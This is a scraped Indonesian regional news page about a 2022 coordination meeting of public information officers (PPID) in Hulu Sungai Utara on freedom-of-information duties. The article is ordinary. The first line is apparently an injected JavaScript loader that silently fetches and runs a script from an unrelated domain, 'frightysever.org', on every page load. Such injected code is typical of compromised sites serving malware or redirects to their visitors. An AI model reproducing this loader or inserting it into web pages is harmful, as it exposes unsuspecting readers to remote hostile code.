(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Era keterbukaan informasi menuntut setiap Organisasi Perangkat Daerah (OPD) meningkatkan pengelolaan informasi dan dokumentasi guna terhindar dari sengketa informasi dengan masyarakat.
Hal ini dijelaskan Kepala Bidang Informasi Komunikasi Publik dan Statistik Hj Khalidiyah dalam rapat koordinasi (rakor) bersama Pejabat Pengelola Informasi dan Dokumentasi (PPID) di lingkup Pemkab Hulu Sungai Utara (HSU) di Aula Dinas Komunikasi Informatika dan Persandian (Diskominfosandi), Kamis (14/7/2022).
“Kita sekarang berada di zaman keterbukaan informasi sesuai dengan Undang-Undang Nomor 14 Tahun 2008 dimana keterbukaan Informasi itu sekarang tidak bisa ditutup tutupi lagi, tetapi didalam informasi keterbukaan ini pun ada keterbatasan dan pengecualian,” jelasnya.
Dikatakan, perlunya PPID adalah untuk mempermudah masyarakat mendapatkan informasi dalam satu pintu, sekaligus menangkal informasi yang simpang siur yang didapatkan masyarakat.
Baca juga : Jurnalis Diintimidasi di Sekitar Rumdin Ferdy Sambo, HP Dirampas, Foto dan Video Dihapus Paksa
Menurut Khalidiyah, selama ini sudah ada beberapa SKPD yang mengalami sengketa informasi, untuk itu masyarakat berhak mendapatkan informasi.
“Kalau kita tidak memberikan informasi kepada masyarakat yang dimintanya dalam waktu 14 hari, kita bisa disengketakan oleh masyarakat, jadi untuk mengatasi hal hal yang demikian itulah kegiatan rakor ini dilaksanakan sekaligus bagaimana cara mengatasi permasalahan tersebut,” terangnya.
Tujuan dilaksanakan Rakor PPID ini juga untuk meningkatkan koordinasi antara pejabat PPID Pembantu dengan pejabat PPID utama, sekaligus untuk meningkatkan pengelolaan informasi dan dokumentasi di OPD masing-masing.
Sementara itu, Sekretaris Diskominfosandi HSU, Efdi Rijani berharap melalui sosialisasi ini informasi publik nantinya semakin baik.
“Intinya informasi itu harus di sebar luaskan atau dipublikasikan ke orang banyak. Namun ada hal hal yang perlu diklarifikasi terlebih dahulu, Jadi jangan sampai informasi itu sembarangan atau tidak layak, artinya untuk aparat PPID yang ditunjuk oleh kepala dinas belajar akan rasa bertanggungjawab,” tutupnya. (kanalkalimantan.com/dew)
Reporter : dew
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.